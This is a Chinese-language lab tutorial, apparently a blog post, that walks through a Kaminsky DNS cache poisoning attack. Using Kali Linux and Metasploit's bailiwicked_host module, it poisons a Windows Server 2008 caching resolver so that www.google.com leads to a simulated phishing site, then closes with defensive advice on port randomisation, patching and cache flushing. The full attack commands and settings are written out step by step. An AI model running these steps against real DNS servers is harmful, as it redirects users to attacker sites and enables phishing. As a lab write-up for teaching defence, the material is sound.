在详细介绍Kali Linux系统之前我们先通过一个渗透案例了解Kali Linux。

本文使用Kali Linux对正在做“本地缓存DNS”的微软windows server2008进行Kaminsky缓存投毒,最终将www.google.com引导到一个预先定义好的web界面上。

(1)介绍渗透手段是为了我们在工作中能更好的做好安全防护工作,只有了解攻击才能做好防守。所以,我首先强烈谴责那些使用渗透工具,进行恶意攻击的行为。

(2)在做本文实验之前,建议先阅读之前发布的DNS安全-缓存投毒相关博客内容,了解Kaminsky攻击原理,http://zdzhu.blog.51cto.com/6180070/1575498

 【本文渗透实验环境介绍】

(1)以下所有机器均安装在自己PC的VMware环境下,机器的网卡配置为NAT类型,这样保证机器能上公网。

(2)Windows server2008

                开启DNS功能

                IP地址192.168.8.136

                角色是“本地缓存DNS”

(3)KaliLinux

                 IP地址192.168.8.149

                 角色是“渗透发起者”

(4)Windows 7

                  IP地址192.168.8.137

                  DNS地址设置为192.168.8.136

                  角色是“客户端”

(5)Centos 6.4 x86_64

                  IP地址192.168.8.153

                  安装并启动Bind软件,同时配置google.com的权威区

                  配置www.google.com对应的A记录是192.168.8.153

                  安装并启动Apache,使得客户端在浏览器里输入192.168.8.153后能看到Apache的界面。

                  角色是“模拟攻击者的钓鱼网站”

 【第一部分 环境确认】

(1)在Windows 7客户端的浏览器里随便输入一个网站比如www.51cto.com,确认可以进入网站页面。测试通过代表Windows server2008的DNS递归功能正常。

(2)在Windows server2008上安装wireshark软件,然后启动网卡抓包。继续在Windows 7客户端的浏览器里随便输入几个不同网站的域名,查看wireshark软件抓包结果中server2008对外发起DNS迭代请求时使用的UDP源端口是什么?server2008默认使用相同源端口出去查询。

本文中测试时源端口是54866,如下。

Kali Linux(二)渗透案例:DNS Kaminsky缓存投毒_缓存投毒

【第二部分 使用Kali Linux开始渗透】

(1)在KaliLinux文本模式下执行命令msfconsole,等待一段时间后进入msf>的命令提示符下。

(2)执行命令use auxiliary/spoof/dns/bailiwicked_host

(3)执行命令show options如下

Kali Linux(二)渗透案例:DNS Kaminsky缓存投毒_DNS_02

(4)执行如下命令

set RHOST 192.168.8.136   (对应被攻击的server2008本地DNS IP地址)

set HOSTNAME ns9.google.com

set NEWADDR 192.168.8.153 (对应攻击者部署好的站点)

set SRCPORT 54866 (对应server2008对外查询时使用的端口号)

set XIDS 50

(5)执行完毕后执行show options再次确认配置

Kali Linux(二)渗透案例:DNS Kaminsky缓存投毒_缓存投毒_03

(6)执行run

(7)当屏幕出现Poisoning Successful时代表渗透成功结束。

Kali Linux(二)渗透案例:DNS Kaminsky缓存投毒_Kali_04

(8)执行exit退出并使用dig @192.168.8.136 命令测试此时server2008DNS缓存中google.com的NS记录情况,并测试www.google.com解析后的结果。

下图可见,本地缓存DNS中google.com的NS被投毒到了192.168.8.153上。那么所有向这台DNS发起的goog.com相关域名都会发往192.168.8.153做迭代查询,并将查询结果反馈给客户端。

Kali Linux(二)渗透案例:DNS Kaminsky缓存投毒_DNS_05

 

Kali Linux(二)渗透案例:DNS Kaminsky缓存投毒_DNS_06

(9)在Windows7客户端上的IE浏览器地址栏中输入www.google.com,会进入攻击者预先制定好的站点界面如下。

Kali Linux(二)渗透案例:DNS Kaminsky缓存投毒_Kali_07

渗透实验结论:

(1)Kaminsky缓存投毒一旦成功影响非常大。

(2)尽量使用随机端口比较好的DNS软件作为本地缓存DNS,如果用windows server那么一定要做系统升级。本实验中的问题微软已经给出升级补丁。

(3)本地缓存DNS负责人一旦发现缓存投毒,可立即执行“缓存清除”操作。然后通过DNS解析日志或者抓包分析发起随机域名请求的源IP是什么,可尝试进行反跟踪,或者在上层网络设备上做好相应防护工作。